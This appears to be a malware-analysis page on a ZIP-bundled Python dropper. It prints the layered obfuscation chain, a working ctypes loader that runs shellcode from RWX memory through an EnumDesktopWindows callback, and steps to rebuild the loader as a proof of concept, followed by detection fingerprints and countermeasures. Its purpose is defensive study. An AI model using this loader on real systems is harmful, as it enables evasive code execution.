Python Embeddable Runtime with EnumDesktopWindows Callback Injection
A multi-stage dropper that bundles a full Python embeddable Windows runtime inside a ZIP archive. The entry script is heavily obfuscated, decodes to a ctypes loader, allocates RWX memory, copies an encrypted payload file into it, and executes it via user32!EnumDesktopWindows callback injection — evading typical CreateRemoteThread or VirtualProtect telemetry.
Detection / fingerprint
- Container: ZIP archive >10 MB containing
pythonw.exe,python313.dll, and a.pyentry script - Entry script: Multi-layer obfuscation (
getattr/__builtins__indirection → Caesar shift → base64 → zlib) - Runtime behaviour:
pythonw.exe→VirtualAlloc(RWX)→memmoveof companion file →EnumDesktopWindowswith callback inside allocated region - No suspicious imports in outer binary: The PE is a stock Python interpreter; all threat logic lives in the Python/ctypes layer
Implementation patterns observed
Layer 1 — Outer script obfuscation
getattr(globals()['__builtins__'], 'exec')(
getattr(globals()['__builtins__'], 'getattr')(
__import__('zlib'), 'decompress'
)(
getattr(globals()['__builtins__'], 'getattr')(
__import__('base64'), 'b64decode'
)(
getattr(__import__('re'), 'sub')(
r'~[^~]+~', '',
''.join(chr((ord(c)-4)%256) for c in s[::-1])
)
)
)
)
Layer 2 — Dead-code inflation
The decompressed wrapper contains hundreds of lines of junk: sum() over binary literals, while loops with hash(358)==hash(358) no-ops, and do-nothing classes with random field names. The only live code is a single exec(zlib.decompress(base64.b64decode(buf[::-1]))) call.
Layer 3 — ctypes shellcode loader
import ctypes
from time import sleep
def SC_getPage():
with open("payload_file", "rb") as f:
data = f.read()
addr = ctypes.windll.kernel32.VirtualAlloc(
0, len(data), 0x3000, 0x40) # RWX
ctypes.memmove(addr, data, len(data))
return addr + SHELLCODE_OFFSET
def SC_exec(addr):
ctypes.windll.user32.EnumDesktopWindows(0, addr, 0)
sleep(1)
def run():
sleep(20) # anti-emulation delay
page = SC_getPage()
if page:
SC_exec(page)
run()
Key features:
VirtualAllocwithMEM_COMMIT|MEM_RESERVE(0x3000) andPAGE_EXECUTE_READWRITE(0x40)memmovecopies the entire companion file (often 1–3 MB) into RWX memoryEnumDesktopWindows(hDesktop=NULL, lpEnumFunc=shellcode_addr, lParam=0)jumps to the payload- 20-second sleep before execution
Reproduce on your own VMs
Goal: Build a minimal PoC that replicates the callback-injection pattern.
Steps:
- Download Python 3.13 embeddable for Windows from python.org.
- Write
loader.pyusingctypesto callVirtualAlloc+memmove+EnumDesktopWindows. - Generate a simple x64 shellcode stub (e.g.,
int3orMessageBoxA) and save it aspayload.bin. - Bundle
pythonw.exe,python313.dll,loader.py, andpayload.bininto a ZIP. - On a Windows VM, extract and run
pythonw.exe loader.py. - Observe in ProcMon:
VirtualAllocwithProtect=PAGE_EXECUTE_READWRITE, thenEnumDesktopWindows.
Verification:
- Compare your ProcMon trace to the behavioural fingerprint in the 89dd9159 analysis.
- The key telemetry signature is
EnumDesktopWindowswith a callback address pointing to a recentlyVirtualAlloc'd RWX region.
Defensive countermeasures
- ETW/ProcMon: Alert on
VirtualAlloc→PAGE_EXECUTE_READWRITEfollowed byEnumDesktopWindowsfrom the same process. - EDR: The
EnumDesktopWindowscallback trampoline is an unusual API sequence for legitimate software. Flag it. - Static: YARA for
pythonw.exe+EnumDesktopWindows+VirtualAllocstrings in the same Python script. - Behavioural: Monitor for Python embeddable runtimes extracted from ZIP archives and immediately spawning with no user interaction.
Pages where observed
- /intel/analyses/89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70.html — 13.2 MB ZIP, Python 3.13 embeddable, four-layer obfuscation, 93,778-byte encrypted shellcode region.